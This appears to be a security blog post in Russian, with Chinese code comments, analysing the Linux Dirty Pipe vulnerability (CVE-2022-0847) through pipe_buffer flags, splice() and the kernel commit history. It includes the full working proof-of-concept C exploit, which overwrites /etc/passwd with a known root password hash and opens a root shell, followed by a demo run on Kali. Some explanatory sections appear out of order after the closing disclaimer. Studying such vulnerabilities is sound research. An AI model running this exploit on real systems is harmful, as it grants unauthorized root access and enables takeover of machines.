
title: CVE-2022-0847 (DirtyPipe локальное повышение привилегий) анализ уязвимости date: 2022-03-08 14:41:20 tags: - Повышение привилегий в Linux categories: - Исследование безопасности
CVE-2022-0847— это уязвимость в ядреLinux, начиная с версии5.8. Используя её, атакующий может перезаписывать данные в любых файлах, доступных только для чтения. Это позволяет повысить обычные привилегии доroot, поскольку непривилегированный процесс может внедрять код в процессы с root-правами.
CVE-2022-0847похожа наCVE-2016-5195 «Dirty Cow»(повышение привилегий Dirty Cow) и легко эксплуатируется. Автор уязвимости назвал еёDirty Pipe.
Этот блог предназначен в основном для изучения и фиксации событий безопасности и статей об уязвимостях, для обмена знаниями и тестирования. Любые прямые или косвенные последствия и ущерб, вызванные распространением или использованием информации и инструментов из этого блога, являются ответственностью использующего; автор статей не несёт за это никакой ответственности.
Уровень опасности: высокий
POC/EXP: опубликован
Затронутые версии: ядро linux 5.8 и более поздние версии
Примечание: безопасные версии: ядро Linux >= 5.16.11, ядро Linux >= 5.15.25, ядро Linux >= 5.10.102
Здесь кратко опишем детали уязвимости.
Несколько понятий:
Linux pipe: полудуплексный, поток данных может идти только с одного конца на другой.
pipe_buffer: трубный кэш, используемый для временного хранения данных, записываемых в канал; чтение и запись выполняются в трубном кэше.
page: страница (page frame), 4 КБ, имеет взаимно однозначное соответствие с трубным кэшем.
pipe_buf_operations: хранит набор операций трубного кэша.
can_merge: флаг слияния. Если для общих операций чтения/записи канала задано слияние данных в существующий буфер, то значение равно 1. Если значение равно 0, то для новых данных всегда используется новый сегмент страницы канала.
splice(): перемещает данные между двумя файловыми дескрипторами; как и функция sendfile(), поддерживает zero-copy для каналов. Она связывает кэш страниц файла с трубным кэшем, то есть запись влияет на оба одновременно. При проверке прав проверяется только право на чтение файла-источника; при записи проверка прав не выполняется. Примерная цепочка вызовов:
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

История развития «слияния» в Linux-каналах:
Здесь кратко проанализируем код по описанию автора.
В первоначальной системе Linux всё было так, как описано в концепции: существовал флаг can_merge, указывающий, можно ли записать новые данные в уже существующий трубный кэш.
Commit 5274f052e7b3 добавил функцию splice(), но проверка не изменилась: по-прежнему используется флаг can_merge, чтобы определить, доступен ли текущий трубный кэш.


Commit 01e7187b4119 перестал использовать флаг can_merge и вместо него стал сравнивать указатель struct pipe_buf_operations. Поскольку только тип anon_pipe_buf_ops разрешает запись новых данных, достаточно проверить, является ли буфер этим типом.


Поэтому у автора возникла следующая идея эксплуатации:
PIPE_BUF_FLAG_CAN_MERGE в pipe_buffer.splice связывает трубный кэш с кэшем страниц.write в конечном счёте вызывает copy_page_from_iter() для записи. Из-за флага PIPE_BUF_FLAG_CAN_MERGE запись выполняется напрямую.Разбор эксплойта
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort(); // 创建p[0]和p[1]分别指向管道两端。前者读,后者写
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); // 获取管道大小
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; // 填充管道,顺便设置PIPE_BUF_FLAG_CAN_MERGE
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) { // 清空管道,但是保留标志位
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main() {
const char *const path = "/etc/passwd"; // 定义目标文件路径
printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n"); // 创建/tmp/passwd.bak备份
FILE *f1 = fopen("/etc/passwd", "r");
FILE *f2 = fopen("/tmp/passwd.bak", "w");
if (f1 == NULL) { // 判断文件读写是否正常打开
printf("Failed to open /etc/passwd\n");
exit(EXIT_FAILURE);
} else if (f2 == NULL) {
printf("Failed to open /tmp/passwd.bak\n");
fclose(f1);
exit(EXIT_FAILURE);
}
char c;
while ((c = fgetc(f1)) != EOF) // 逐字节写入
fputc(c, f2);
fclose(f1);
fclose(f2);
loff_t offset = 4; // after the "root" // 定义偏移,即覆盖目标位置为root字段之后
const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron // 定义覆盖的数据
printf("Setting root password to \"aaron\"...\n");
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) { // 判断写入位置是否在页边界上
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; // 定义当前页面结尾
const loff_t end_offset = offset + (loff_t)data_size; // 定义覆盖数据的结尾
if (end_offset > next_page) { // 判断覆盖是否跨页
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-) // 打开只读目标文件
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st; // 定义st保存目标文件信息
if (fstat(fd, &st)) { // 获取目标文件状态
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) { // 判断偏移是否大于文件字节数
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) { // 判断覆盖结尾是否大于文件字节数
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p); // 创建管道,标志位设置为PIPE_BUF_FLAG_CAN_MERGE
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset; // 定位到偏移前1字节
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); // 将该字节进行拼接发送到管道
if (nbytes < 0) { // 判断是否移动成功,-1表示失败
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) { // 0表示没有数据可以移动
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size); // 覆盖数据写入管道
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
"echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
"cp /tmp/passwd.bak /etc/passwd;"
"echo \\\"Done! Popping shell... (run commands now)\\\";"
"/bin/sh;"
"\" root"};
execv("/bin/sh", argv); // 开启root下shell
printf("system() function call seems to have failed :(\n");
return EXIT_SUCCESS;
}
В качестве демонстрационной системы используется виртуальная машина kali.
Требование к целевой системе: достаточно наличия gcc.
wzy@wzy:/tmp$ uname -a
Linux wzy 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux
expgit clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
./compile.sh # gcc编译
./exploit # 执行exp返回如下error信息
wzy@wzy:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(
su root
密码: aaron
登录后极为root权限
passwdmv /tmp/passwd.bak /etc/passwd
Сначала исправлена настройка свойства merge.

Затем добавлена инициализация флагов flags.


Выражаем огромную благодарность специалисту Psyduck за то, что он потратил ценное время и провёл анализ принципов работы exp, опубликованного автором уязвимости. Специалист сообщил, что также провёл соответствующую отладку на низком уровне локально, но явной цепочки вызовов данных пока нет; в настоящее время работа продолжается.
Этот блог предназначен в основном для изучения и фиксации событий безопасности и статей об уязвимостях, для обмена знаниями и тестирования. Любые прямые или косвенные последствия и ущерб, вызванные распространением или использованием информации и инструментов из этого блога, являются ответственностью использующего; автор статей не несёт за это никакой ответственности.
Commit 241699cd72a8 добавил две новые функции, которые могут выделять новый struct pipe_buf_operations, но при этом не инициализируют их флаги flags.

Commit f6dd975583bd преобразовал это сравнение указателей в сравнение флага PIPE_BUF_FLAG_CAN_MERGE для каждого буфера, а также позволил внедрять PIPE_BUF_FLAG_CAN_MERGE. Одновременно были удалены определения и использование других типов buf_ops.


